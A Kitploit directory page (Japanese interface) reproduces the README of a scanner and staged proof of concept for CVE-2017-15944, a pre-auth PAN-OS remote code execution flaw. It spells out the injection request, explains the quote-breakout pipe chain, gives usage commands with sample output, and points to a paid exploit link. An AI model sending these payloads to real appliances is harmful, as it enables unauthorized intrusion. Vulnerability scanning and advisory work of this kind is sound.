Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-15944 — Scanner and staged POC for CVE-2017-15944, a pre-auth RCE in the PAN-OS/Panorama management interface .esp parser; detects vulnerable hosts and leaks build version. | Kitploit
ツール/GitHubGitHub/jonathan1010/cve-2017-15944
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubjonathan1010/cve-2017-15944

CVE-2017-15944

Scanner and staged POC for CVE-2017-15944, a pre-auth RCE in the PAN-OS/Panorama management interface .esp parser; detects vulnerable hosts and leaks build version.

リポジトリを見る
2026年12月4日未レビュー
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2017-15944

Palo Alto Networks PAN-OS - Remote Code Execution

Metadata

fieldvalue
CVECVE-2017-15944
severitycritical
CVSS9.8 (template CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
fixed inPAN-OS / Panorama 6.1.19, 7.0.19, 7.1.14, 8.0.6 (per-branch fixes)
classparameter-injection RCE in the management interface .esp parser of cms_changeDeviceContext.esp (NVD secondary CWE-20 / CWE-119)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RbH

Summary

PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allow remote attackers to execute arbitrary code via vectors involving the management interface. The nuclei template (http/cves/2017/CVE-2017-15944.yaml, max-request 1) sends one raw request:

GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
Host: {{Hostname}}
Cookie: ***

The device parameter is interpolated into the internal query string without filtering, so "; closes the quoted value and chains the user|s. pipe, whose result is echoed by the response. The template matchers (matchers-condition: and) are: body word @start@Success@end@ and HTTP status 200. NVD lists EPSS 0.9834 (percentile 0.99916), CISA KEV added 2022-08-18, and the CPE is cpe:2.3:o:paloaltonetworks:pan-os.

Full description

The vulnerability chain on the management interface (default port 8080, also reachable on the appliance host):

GET /esp/cms_changeDeviceContext.esp?device=<value>
  1. the raw device value is embedded into the internal query string
     as  device='aaaaa:a';...
  2. ";  breaks out of the quoted value
  3. chained  name|op."value";  pipes are executed by the parameter
     parser of the .esp handler
  • user|s."1337" echoes the literal 1337 back inside the response body next to the marker @start@Success@end@ (template probe).
  • A second pipe, app|N., prints the PAN-OS build number (e.g. 8.0.3), which the POC captures as the version leak; from there further pipes reach commit, load and eventually code execution as described in the Orange Tsai write-up.
  • The ph cookie 2779;5:8;2;1177632689240787### is the device context session value carried in the template request.
  • Fixed releases per branch: 6.1.19, 7.0.19 (7.0 line), 7.1.14, and 8.0.6; Panorama follows the same branch numbering.

Detection model

  • One matcher request per target (faithful to the template): GET {base}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; with Cookie: ***.
  • Verdict vulnerable = True only when both template matchers hold: HTTP status 200 AND body contains @start@Success@end@.
  • A non-gating second GET with device=aaaa:a';app|N. records the PAN-OS build string (panos_version) for inventory; it never gates the verdict.
  • The echoed probe 1337 next to the marker separates genuine pipe execution from a static reflection page (probe_echoed).
  • Per-row token is the 12-char md5 over the JSON details, so any CSV row can be re-verified offline from result_b64.

Usage

Scanner:

python3 scanner/CVE-2017-15944/scanner.py urls.txt 8 CVE-2017-15944.csv --json CVE-2017-15944.json
  • urls.txt: one target per line, # comment lines ignored, scheme auto-prepended (http://) when missing.
  • 8: worker count (default 8).
  • CSV is streamed and flushed per row; JSON sidecar is optional.

POC:

python3 exploit/CVE-2017-15944/exploit.py https://10.0.0.1:8080 --csv out.csv --json out.json --verbose
  • Prints the banner, numbered checks, the result dict ({stage1, stage2, token, checks} plus extractors), and a final verdict line.

Example scanner output

RCE POC SUITE
 scanner : CVE-2017-15944 v1.0.0
 threads : 8 | csv: CVE-2017-15944.csv | json: CVE-2017-15944.json
RCE POC SUITE
[2026-12-03 14:02:11] loaded 2 target(s) from urls.txt
[2026-12-03 14:02:12] [1/2] https://10.0.0.1:8080 -> VULNERABLE
[2026-12-03 14:02:12] [2/2] https://10.0.0.2:8080 -> not-vuln
[2026-12-03 14:02:12] json sidecar saved: CVE-2017-15944.json
[2026-12-03 14:02:12] summary: total=2 vulnerable=1 not-vuln=1 errors=0
[2026-12-03 14:02:12] timing : avg=213ms max=260ms wall=0.51s
[2026-12-03 14:02:12] report saved: CVE-2017-15944.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided (scheme auto-prepended if missing)
statusok / error for the job itself
vulnerableTrue/False verdict from check()
elapsed_msper-target timing
token12-char md5 over the JSON details
result_b64base64(JSON) of the full details (statuses, matcher flags, probe, panos_version, snippet, extractor)

Files

  • scanner/CVE-2017-15944/scanner.py - black-box scanner
  • scanner/CVE-2017-15944/README.md - this document
  • scanner/CVE-2017-15944/DESCRIPTION.md - technical notes
  • exploit/CVE-2017-15944/exploit.py - staged POC

Exit codes

codemeaning
0scanner/POC completed with at least one answered target (scanner) or all checks passed (POC)
2every target errored (scanner) or at least one check failed (POC)

References

  • nuclei template: http/cves/2017/CVE-2017-15944.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2017-15944
  • Palo Alto advisory: https://security.paloaltonetworks.com/CVE-2017-15944
  • Exploit-DB: https://www.exploit-db.com/exploits/43342
  • Write-up: http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
ツールをダウンロード

関連ツール

  • amass

    詳細な攻撃面マッピングとアセット発見

  • subfinder

    高速パッシブサブドメイン列挙ツール。

  • reconftw

    reconFTWは、ターゲットドメインに対して自動偵察を実行するために設計されたツールであり、最適なツール群を実行してスキャンを行い脆弱性を発見します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    Callisto

    jetp1ane/callisto

    Ghidraを介して実行可能ファイルを逆コンパイルし、Semgrepで擬似Cコードをスキャンし、GPT-3.5-Turboを使用して検出結果を検証することで誤検知を低減する、自動化されたバイナリ脆弱性解析ツール。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    不正なGSMセルを展開してSMSを傍受し、メッセージを注入し、モバイル端末を追跡するIMSI Catcherプラットフォーム

    721
  • 4

    opencti

    opencti-platform/opencti

    オープンサイバー脅威インテリジェンスプラットフォーム

    535
  • 5

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) 向けの Android root ツール。DirtyFrag CVE-2026-43284 と CVE-2026-43499 を連鎖させ、KernelSU 経由で起動時に自動的に root を取得します。

    419

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →